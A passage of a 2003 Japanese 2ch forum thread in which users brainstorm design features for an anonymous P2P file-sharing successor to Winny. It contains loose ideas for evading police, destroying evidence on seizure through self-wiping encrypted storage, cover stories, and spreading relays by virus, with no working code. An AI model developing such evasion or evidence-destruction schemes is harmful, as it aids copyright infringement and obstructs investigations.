 少なくともMXなり使って配布だ。

113 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:07 ID:LFoYQrRu
BeOSも選択肢に

114 名前:元スレ1 ◆bPSpbl.Bgs 投稿日:03/11/29 16:08 ID:cZt7mbIJ
>協力はだめだろ、クローズドにするなら一人でソース握ってなければ。

SSHなりtelnetなり使えれば、リモートでビルド。
ソースを消して手元にダウンロードも可能ですよ。


前スレでは、「暗号化部分もオープンソースで開発する事も視野に入れるべき」
という意見もありました。

115 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:08 ID:Pb79miPU
>>106
16ノードのカウント方法がわからないけど、
格ノードの保持する必要のある最低ピア数?
ちょっと多いかもしれないね、実装に寄るだろうけど
実効20Mbps程度無いとつらいものになりそう。

というか、要望スレ行きの記事がちょっと混じりすぎてるね
あっちの進行止まってるし、よく考えて投稿しよう

116 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:08 ID:cewy0JtT
保持・送受信するキャッシュは独自の無圧縮アーカイブでかつヘッダ除去済。
受信側は受信完了後にヘッダ情報を付加することができるってのはどうだろう?
ヘッダを数種類からの選択式にすると少なくとも送信側はもともとのファイルとは
別の意味のないファイルってことにはならない?


・・・ですよね

117 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:08 ID:xobylHKO
>>111
「"不特定多数"にファイルをUPできる状態にしていた」だよね。

118 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:09 ID:JTMavMuY
>>111
そこで分割じゃないのかな。
サイズごとにブロックで区切るって話が出てるけど
結合情報と分離させて結合できないようにする。

でもデータ自体はローカル上にあるもんな。それに解析されたら結合情報なんか要らなくてもデコードできるツールとかでそうだし

119 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:09 ID:GuxrSiXR
しかし 本当に厨房対策されたら
 俺のクラスのやし、誰一人として使えんようになるな。
 winny続けてタイーホされる罠w

120 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:09 ID:EKL7tbUV
キャッシュ自動デリ

121 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:09 ID:+yQ5TDYL
>102
まともだった頃のny本スレでは、
自分のキャッシュに外人のわけのわからんキャッシュが入るのが嫌だという感じだった。

122 名前:前スレ703 投稿日:03/11/29 16:09 ID:ye3C8U1V
一応建て前はVPNを用いた仮想IIPV6
の実験ソフトですからその中の一部として組み込む
ようにします。

123 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:10 ID:Ji3eZPM1
今のところの結論は
単一のノードに完全キャッシュを置かないようにする、か。

公開方法の話は完成してからでいいのでは?

124 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:11 ID:bKaIqPh/
単一のノードに完全キャッシュを置かないようにする

125 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:11 ID:2LhtByIL
>>111
完全キャッシュは自動消去でいいんじゃないの。今回は必ず転送が条件になってるから
ダウン主が消してもすでにファイルは増殖してるのでOKなのでは。
アップ主も上げたら自動消去機能でいいじゃないの。分割してあげたファイルから自動に消えていけば
完全にアップできたかわかるし

126 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:11 ID:JTMavMuY
もんだいはどうやってそのようにするか。

127 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:11 ID:LFoYQrRu
外国人と普通にやりとりしてるから別に構わない
多言語にしたら良いと思うが

128 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:12 ID:iroMqVMe
47氏はパソコンも押収されてるのか?
素人じゃないんだから仕事道具もってかれたら
生活に響くと思うんだが任意でそこまでできるの?

129 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:12 ID:8WYI4LXr
P2Pソフトを開発または配布、使用した者には懲役5年以下、罰金30万円以下に処す


130 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:12 ID:xobylHKO
K側の視点から考えると、別件で何もしてない不特定多数の一般ユーザー
から任意にチョイスして、摘発するのはやはり相当困難だな。MXとは違って。
MXなら神を監視すればいいが、nyだと誰が神だが解らないし。
必ず入り口(売り、WEB公開)などがあって、初めて捜査が進む。

131 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:12 ID:YjgRh6W0
匿名性を確保するソフトを作る、という観点から言うと、

あるファイル→256byte程度の小さなパケット単位に分割。
隣接する端末に発散させるように送信する。

ファイルの送信が完了したら、ファイルはUPフォルダから除去。
ネットに散らばったパケットのコピーを様々なルートから流通させる。

なんてのはいいかもしれない。

132 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:12 ID:EKL7tbUV
厨房板からきました。
協力させてもらいます。

133 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:12 ID:GuxrSiXR
分散・分割はするとして、
 それぞれの違った暗号化を施している。ここまでいいか??

んでローカルなら、解析されるだろということだが…
 仮想ファイルシステム←エミュみたいに…
 してそこに保存ようにする。
 編集するには、特別なツールが必要で
 更にパスワードを二段階ぐらい必要とする。
 2回、間違えたら仮想ファイルシステムごと削除する。
 
 この仮想ファイルシステムの機能として、
  共有しないものも入れておけるようにすれば、
  kが来てPC扱われてもパスワードをわざと入れ間違えて消す。

 

134 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:13 ID:LFoYQrRu
必要なのはバンコクのチャイナタウンの様な複雑なネットワークの構築だね

135 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:13 ID:QKjNVVbn
話がループループ、、
スラッシュドットみたいに得点制ならいいのにね

136 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:13 ID:41SfH/7g
白血病解析のデータ8割
違法ファイル交換データ2割

で、データを流す。

仮に違法データ中継したとしても
「白血病解析の為に起動してたら知らない間に・・・!」とか言い訳できないかなw

137 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:13 ID:xobylHKO
ここで作成表明してるスーパーハカーの方々。
ここで生で書き込んだ時点でIPを2chに押さえられてるよ。

もうだめじゃん

138 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:13 ID:Srg2PC/8
多言語にすると他国からも監視されそう。

139 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:14 ID:41SfH/7g
>>137
そいつらがネットカフェからカキコしてるかもしれないだろ???

140 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:14 ID:JTMavMuY
>>131
それって一つでも欠けたらデコードできないよな。


141 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:14 ID:xobylHKO
>>139
ネットカフェでも防犯カメラあり。

142 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:14 ID:YjgRh6W0
>>137
作成自体は犯罪にならない。
犯罪に利用すれば問題だが。

143 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:15 ID:VN09zs17
実際ネットカフェでも身元はばれるんでしょ?

144 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:15 ID:xobylHKO
>>142
犯罪にならなくても家宅捜索される危険性はつきまとうわけだ。

145 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:15 ID:LFoYQrRu
RASの2048ビット暗号だね

146 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:16 ID:qee1GVMD
こんだけ悪意丸出しで犯罪じゃないってのも笑えるけどな

147 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:16 ID:41SfH/7g
>>143
自分の脳味噌で考えてみな。
変装、代理人、etc...いくらでも手段はある。

148 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:16 ID:GuxrSiXR
>>138
ソフト自体に日本以外からの利用をできなくすればいい。

149 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:17 ID:xobylHKO
>>146
妄想や想像は治外法権だからね。

150 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:17 ID:VN09zs17
>>147
あーそか
ルパンみたいなものね

151 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:17 ID:+yQ5TDYL
送信可能化権ができたことで、
匿名P2Pファイル交換技術が、
日本だけ突出して発達する気がする。

152 名前:[1-time]さん(bin+cue).rar 投稿日:03/11/29 16:17 ID:/4RX+gXD
もしかしてだな。
nyにここんとこ明らかなEXEの
トロイを混ぜてたのはK札だったんじゃないのか?

9月越えた頃にピークだっただろ?

捜査の一環では?

厨房が感染。-> K札が情報ウマー。

新たなP2Pが出来たとしても
この「厨房感染暴露症候群」の対策ができない限り
ネットワーク構造が即バレの可能性がある、といってみるテスト

153 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:17 ID:LFoYQrRu
>>143
逮捕された人居るよ

154 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:17 ID:2LhtByIL
なんかnyが初めて誕生したころのこと思い出して楽しくなってきた。
最近じゃマンネリ化してwinny本スレ寂れてたがこうして意見出し合って
新しい大人数参加型のソフトの製作議論するのってやっぱ面白いなー

155 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:19 ID:YjgRh6W0
研究目的という名分も恐ろしいがな。
某国では研究目的で恐ろしい生物兵器を作ったわけだし。
ただ、意見言ったり、考えたりは自由。

156 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:19 ID:Srg2PC/8
>>148
そんなことできるんですか?
日本語のみ対応の方が、手っ取り早いような。

157 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:19 ID:EKL7tbUV
>>154
お前は邪魔だから消えろよ

158 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:19 ID:OXKfyT2H
少々遅くても帯域使い果たさないようにしないと
目立っちゃうね

159 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:19 ID:I6aMIWU8
次は海外製のように見せかけて作って

160 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:19 ID:2Wvjwb/R
捏造のあれらはたしかにあった。

が、それでかかる奴、ばれる奴は元々それになる運命だったということ。
ピークはともかく、厨房はすこし勉強するということを知らないとだめだ。

161 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:19 ID:LFoYQrRu
パレスチナ難民キャンプの人を経由すれば事実上捕まらない
ICPOですら手が出せない地域

162 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:20 ID:/SMdQfPt
>>136
この手のソフトは違法性をどう逃れるかに進みやすいし、
それも大事だと思う。

逆に違う路線も提示するってのも、これから必要になってくると思うけどね。
慈善活動も平行してやると、
どちらにしろ、クリーンなイメージないし、少しでもイメージをやわらげる
オプションは必要になってくると思うよ。
まあ、この発想は悪徳宗教的だけどね。

163 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:20 ID:K583Js7M
>>154
ヒキーか?
何か他にやってればいやでもこんなことはするぞ。

164 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:20 ID:oa1eMOE5
俺、考えたんだけど。
まずさ、元になる(流す)ファイルを圧縮するソフトを開発するんだよ。
圧縮ファイルは全ていくつかに分割。
その圧縮・復元方法を工夫してさ、それを普通に解凍しても関係ないファイルが出てくんの。
それで、元に戻したいと思ったらP2Pファイル上で復元キーを探す。
そうすると元のファイルが解凍される。
そして皆は、たとえば5つに分割されたファイル1〜5を、一人が5つのうち1つだけ確保してUP可能にしとくの。
そうすれば分割されたファイルだけしかUPしてないわけだから問題ない。
どうだろ?
穴だらけのような気もする

165 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:20 ID:qee1GVMD
妄想というか実現に向けての準備っしょ?
幼女誘拐する計画を考えてるようなもんだしw
まーどーでもいーが

166 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:20 ID:GuxrSiXR
実際には、winnyでも十分な機能だった。

しかし厨房が好き勝手やってネトランやら糞雑誌が広めた。
更に厨房が増えた。長時間つなぎ放しにする奴も現れた。

結局nyネットワークは崩壊した。

 全ては、厨房のせいだ。
 


167 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:21 ID:6kfR3NS+
47氏は漏れ達にこういう考える場も提供したわけだ。
47誌がいなかったらダウソ板でこんなに真面目に話し合うなんてことは無かっただろうし・・・
偉大だな47氏は。

168 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:21 ID:JTMavMuY
>>156
IPで接続先を指定するとか。
Socket通されたら終わりかw
日本語のみ対応でもパッチ作られると思う。
作られないためにはソフト自体のCRCかなんかを記憶させといて違ったら起動不可とか。

169 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:21 ID:VN09zs17
>>157
でお前は厨房板からきたのか?UNIXからきたのか?
どっちだよ?

170 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:21 ID:qee1GVMD
>>166
凄い三段論法ですね。

171 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:21 ID:LFoYQrRu
>>166
繋ぎっぱなしは初期の頃からも居たよ

172 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:22 ID:EKL7tbUV
>>169
ニュー速からきました

173 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:23 ID:d/1MYsdX
>>12
・ソフト名を放送禁止用語にすれ
ってまじよくね?おれは感動したね

174 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:24 ID:OXKfyT2H
>>171
元々繋ぎっぱなし前提のソフトだしね

175 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:25 ID:LFoYQrRu
海外のTOOLだと特定のIPを弾く設定をオプションで設定するんだけど
そういうのがあると良い

KaZaAやeMuleにはある

176 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:25 ID:+yQ5TDYL
『完全キャッシュは保持しない』

というのは、決定事項でOK?

177 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:26 ID:LFoYQrRu
>>174
自分も数日間繋ぎっぱなしにした事何回もあるし
落ちるまで繋げてたし

178 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:26 ID:GuxrSiXR
今回最も必要となる機能は、
 
 雑誌転載禁止とかやって、糞雑誌は、載せてくる可能性がある。
 実際にフリーソフトが勝手に載せられたということもあるからなー。

 まずは、ダウソ版以外で広めれないようにするのが先決ではないだろうか。

 その為に俺の提案として、

  ソフト名を定めないことで 検索されないようにする。
  インターフェースを定めない。初期起動では、
  ボタンの配置とかバラバラになっている。
  更に中国語になっていて厨房は、すぐに扱えないようにする。

  その次に暗号化やら匿名性といったことだと思うんだが…
  いくら暗号化しようと匿名にしようと、
  ネトランとかの糞雑誌に紹介されたら終わりだ。

179 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:26 ID:LFoYQrRu
>>176
それは決定でしょ

180 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:27 ID:OXKfyT2H
良さそうだけど
レアファイルには厳しい仕様だね

181 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:27 ID:MGnCC2d2
法的にどうなのかという議論・・・
ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/l50

何でもいいからあったらいいなと思うものについて・・・
ttp://tmp2.2ch.net/test/read.cgi/download/1070085137/l50

具体的にどういう方向に次期P2Pをむけていくのか・・・
ttp://tmp2.2ch.net/test/read.cgi/download/1070086600/l50

名前を早くきめてほしい・・・
ttp://tmp2.2ch.net/test/read.cgi/download/1069996070/l50

182 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:29 ID:LFoYQrRu
使うのにネットワーク関連の知識が必要だと厨はドロップアウトするよ
分かり易いユーザーインターフェイスは厨を増やす
open napみたいにエディタで設定項目を書いていくのが良いな

183 名前::[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:29 ID:6kfR3NS+
>>180
キーとなるファイルは拡散しやすくするようにするとかじゃ駄目かな?

184 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:30 ID:2LhtByIL
>>178
それは現実的じゃないと思う。人が集まれば雑誌に載るし人が集まらなければファイルが流れない。
それにバケツリレー式の転送方式なら人が増えるほど人気ファイルは落としやすくなる。
あと逮捕の可能性も分散できる。

185 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:30 ID:cZt7mbIJ
仕様の大前提・コンセプト

・暗号化ライブラリは、それぞれのPlatformへバイナリ提供 (確定ではない)
・それ以外はオープンな仕様/規格にする (オープンソース推奨)

# この前提の理由は前スレで。

基本部がライブラリとしての提供で、仕様/規格が決まれば、

・様々なフロントエンドが容易に作れる
・様々なPlatformへの対応が容易になる

# Plug in云々は別の話になるわけですね。
# 「好みのGUIを作るなら、それもそれで良し」という事

他言語への対応もフロントエンドで対応出来るので楽。
課題:仕様・設計の段階で国毎・グループ毎への配慮をする必要がある。


# 通信部の規格を策定後、それに対応したライブラリを書き
# それも頒布すれば、尚一層作成者への負担は減る?

186 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:30 ID:Pb79miPU
なんで>>178のような小手先ばかりの表面的な意見しか出ないんだろう

187 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:31 ID:yA2JD4zz
pgの起動とキャッシュからのデコードに各人のパスワードをかけられるようにしよう。
起動パスワード間違えたらインストールフォルダごと削除。
デコードパスワード入れないとデコード出来ない。
デコードパスワード間違えたらキャッシュ削除。
キャッシュもローカルに置いてあるときはパスワードを元にして暗号化。
押収されても何が保管されてるのか分からんこと無いかな?


188 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:31 ID:Ji3eZPM1
>>176
おk

189 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:32 ID:Oi8v/XYl
ソフトの自動アップデートを希望します。

ソフト開発者がアップデートされたP2Pソフトでネットワーク接続を行うと
アップデートされた部分の情報を自動的にアップしソフト開発者のPCに
接続されたときにアップデートが自動的に行われる。
自動アップデートされたユーザーは次の旧バージョンユーザーと接続することで
旧バージョンユーザーもバージョンアップできるという仕様。
この方法であれば、ねずみ講式にネットワークに広がり、24時間程度で
ほぼ全ての接続するユーザーをアップデートさせることが出来る。

190 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:32 ID:IIPHfuyB
対応ファイルサイズは2G以上のほうがよさげ?

191 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:32 ID:JTMavMuY
じゃぁ一つ決まったわけだ。
よかったw
次は?

192 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:32 ID:LFoYQrRu
やっぱりインフラは別にした方が・・・

193 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:32 ID:OSjyZqJz
>>185
仕様の意味をわかってる?

194 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:32 ID:dec0lZI9
追跡調査しにくいように一度通信した相手にはつながりにくくする。

195 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:33 ID:LFoYQrRu
>>189
特定の鯖にUPしないとやれないじゃん

196 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:33 ID:Pb79miPU
>>189
その仕組みの隙をつかれて
トロイやウイルスなどを広められる可能性にはどう対処しますか?

197 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:34 ID:JTMavMuY
自動アップデートって危険なような気がするんだが。

198 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:34 ID:2LhtByIL
>>189
これってクラックされてプログラム書き換えられることないの?
それがあるならやめたほうが。もしそうなりゃネズミ講式にネットワークが崩壊していくかも

199 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:35 ID:asout/Ip
>>194
んだね

200 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:35 ID:rEVDMQ6p
自動アップデート付けるならON、OFF設定は必要だろうな

201 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:35 ID:LFoYQrRu
>>194
eMuleを多段中継にした感じのが・・・(抽象的でスマンが

202 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:35 ID:xobylHKO
つーか、具体的にコード書く奴は誰よ?

203 名前::[名無し]さん(bin+cue).rar[ 投稿日:03/11/29 16:36 ID:6kfR3NS+
中継部分はウィルスで広まるようにすれば良いんじゃね?
駆除しないやつは逮捕ってことはないだろうし

204 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:36 ID:5c7H9Xyw
やっぱりム板でやるべきだ。
unix板は中途半端だし
ダウソ板は厨多いし

ム板住人は嫌がるだろうけど。


ム板でやっても厨が多いのは否めないが、
少なくともノイズは減らせるはず

205 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:36 ID:Pb79miPU
>>203
作者が逮捕されるじゃん

206 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:37 ID:YjgRh6W0
お前ら、ACCSに間違いなく嫌われてるだろうな。w
やっとWinny陥没させたのに、また次考えてるし。w

207 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:37 ID:LFoYQrRu
>>203
ウイルスを流しただけで国際法違反

208 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:37 ID:FZYfmgmB
>>204
Linux板ではLinny計画進行中

209 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:38 ID:VN09zs17
>>206
不滅ですから

210 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:38 ID:qee1GVMD
反省は猿でも出来るがここのやつらは逆ギレだからな。

211 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:38 ID:LFoYQrRu
RIAAを真っ向から敵に回す物だと気合が入るのだが

212 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:38 ID:kc6jffXc
>>204
迷惑

213 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:38 ID:xobylHKO
>>204
ム板ってプログラム板の事?
プログラム作成者のプロからしてみれば、P2Pなんてむしろ敵じゃないか?

214 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:38 ID:JTMavMuY
9.ウイルス、トロイまがいのシステムは無しってことでいいのかな

215 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:38 ID:P88Q+oaG
もうPart4か

216 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:38 ID:FZYfmgmB
>>210
猿には出来ないな

217 名前:189 投稿日:03/11/29 16:39 ID:Oi8v/XYl
やっぱり難しいかぁ
アップデートのわずらわしさをネットワークを利用することで
何とかできると思ったんだけど・・・


218 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:39 ID:nCbzvHNQ
コピーガードキャンセラが御禁制になったように、P2Pも御禁制になるかもよ。

そもそも、匿名で不特定多数だから、違法なコンテンツを流す輩が出てくる。
実名でDL数をカウントすれば、不正の温床にならずに済むのではないかと。
コンテンツの権利者側も、DL数わかれば、損害賠償しやすいでしょう。

219 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:39 ID:GuxrSiXR
>>206
 P2Pツール作ること自体は、悪くない。
 ネタとしてでも、
 著作権侵害をさせないようにする案とかカキコしておけば、
 まじめなP2Pが開発されるということになって…

 

220 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:40 ID:LFoYQrRu
HSPなら誰でも手軽に作れると

221 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:40 ID:0asPoEqu
今の仕様だと、なんでもかんでも送信可能にするので、罪を問いやすい。

そこで、ファイルには、著作権問題がなくコピーやり放題かどうかを示すビットを
つけたらどだ?

で、コピーやり放題ではないファイルは、家族もしくは家族同様の知人としてあら
かじめ設定された相手(最大10人)にしか送らないように汁。それだけでも10
ホップくらいで全世界に広まりそうだが、それは合法。

一方、コピーやり放題のファイルは、当然誰にでも送る。

このビットは、最初にウプした椰子が責任を持って設定する。このビットの内容に
従って合法的に動作するはずのプログラムを動かした場合、たまたまビットの内容
に嘘があるファイルが混じっていたからといって、積荷は問われまい。

どよ?

222 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:41 ID:qee1GVMD
著作権侵害するのが前提だからなw

223 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:41 ID:Pb79miPU
>>206
はぁ?
俺らはACCSの飯のタネだよ?
感謝されこそすれ嫌われるいわれは無いだろ。

224 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:41 ID:xobylHKO
アップデートの自動化なんて、やるとしても、ずーーーーーと先のオマケ機能だろ?
骨組みが出来てないのに飾りを先に考えたって・・

225 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:42 ID:GuxrSiXR
根本的にP2Pでないものを考えるとか…

226 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:42 ID:JTMavMuY
>>225
鯖&クライアントでもなく
P2Pでもないネットワーク・・・?

227 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:42 ID:qee1GVMD
オフ交換っきゃないな

228 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:42 ID:FZYfmgmB
>>226
P4P

229 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:43 ID:f0n/FPID
>>217
難しくはないが、
その機能を利用してプログラムが書き換えられる可能性があるのが問題。

230 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:43 ID:xobylHKO
>>227
オフはすでに陥落済み

231 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:43 ID:E2zgek9J
MXは参照された時点でアウト
Winnyはキャッシュ転送した時点でアウト

やみ鍋っぽいの考えろ

232 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:43 ID:GuxrSiXR
>>223
事実上、ACCSは、
 違法行為する奴がいなくなったら潰れるからなー。

233 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:44 ID:FZYfmgmB
>>232
安心しろ。今度は合法行為を違法行為化して取り締まるから

234 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:44 ID:RpaaHn1y
47氏のny3はどんな感じになるんだろう

235 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:44 ID:GuxrSiXR
>>229
CRCが一致しないと起動できないようにすることで解決だと思うんだか


236 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:45 ID:LFoYQrRu
HSPで作ってみるか
ネットワークコントローるPLUG INもあるし
UDPマルチキャストにも対応してるからさ

237 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:45 ID:e8MIGzc8
>>234
>やみ鍋っぽいの

238 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:45 ID:FZYfmgmB
>>236
C#で作ったら?
特に意味は無いけど

239 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:45 ID:GuxrSiXR
今度は、236氏ですか…
 HSPとかでどこまでいけるんだろう…
 

240 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:46 ID:Pb79miPU
>>235
CRCやmd5などのハッシュ値を一致させるなんてのは不可能ではない
そもそも、旧バージョンは新バージョンのアプリケーションのハッシュ値を知り得ない。


241 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:46 ID:YjgRh6W0
お前らの執念を国家のために活かせば、
ものすごいものを作れそうな気がするのだが。w

242 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:47 ID:hQ0mg3cr
>>236 HSPキタwww

243 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:47 ID:FZYfmgmB
>>241
それを動かすトップが腐ってるから無理

244 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:47 ID:P88Q+oaG
不可能ではないが、事実上不可能

245 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:47 ID:LFoYQrRu
でも仕様もはっきりしてないしなぁ・・
自分なりの構想はあってもテストに膨大な時間が掛かりそうだし
転送中のファイル破損とかあった場合どうするかとか
実際の使用面においてどうするのかとかね

246 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:48 ID:f0n/FPID
>>235
CRCが一致しなければって、何のCRCよ?
そのCRCが正しいのかどうかはどうやって判別するの?

247 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:48 ID:0asPoEqu
>>221
>このビットは、最初にウプした椰子が責任を持って設定する。このビットの内容に
>従って合法的に動作するはずのプログラムを動かした場合、たまたまビットの内容
>に嘘があるファイルが混じっていたからといって、積荷は問われまい。
もちろん、プログラムの作者も大丈夫な。なんせ、わざわざ著作権保護機能までつ
けてるんだから、これがだめならコピーワンスビットとかまで違法になる。


248 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:48 ID:lRVR7nAK
流通させるキー内の文字コードの議論は既出ですか。

249 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:48 ID:FZYfmgmB
>>248
そこまで話がいってません

250 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:49 ID:qee1GVMD
ならトップも崩せ。他人に頼るな。

251 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:49 ID:Pb79miPU
>>248
UTF-8で問題ないだろう。
これならノウハウも結構たまってきてるし資料も大量にある

252 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:49 ID:xobylHKO
47氏、復活しないかなぁ。

253 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:50 ID:e8MIGzc8
デジタル署名を施せば?
バイナリの内容関係なしに同一人物が作ったファイルだって証明出来る。

254 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:50 ID:nCbzvHNQ
インターネットを使わない、っていうのはどう?

フレッツ・グループアクセスで2箇所に繋いでバケツリレーして、
プロバイダに依存しない第2のインターネットを作る、ってのは?
そしたら、ファイル転送は既存のftpが使えて便利じゃない?

255 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 16:50 ID:LFoYQrRu
多人数からファイルを多段中継だとレジューム失敗でゴミがくっ付いてファイルが破損とかさ
eMuleだと自動で修復するんだけど・・・

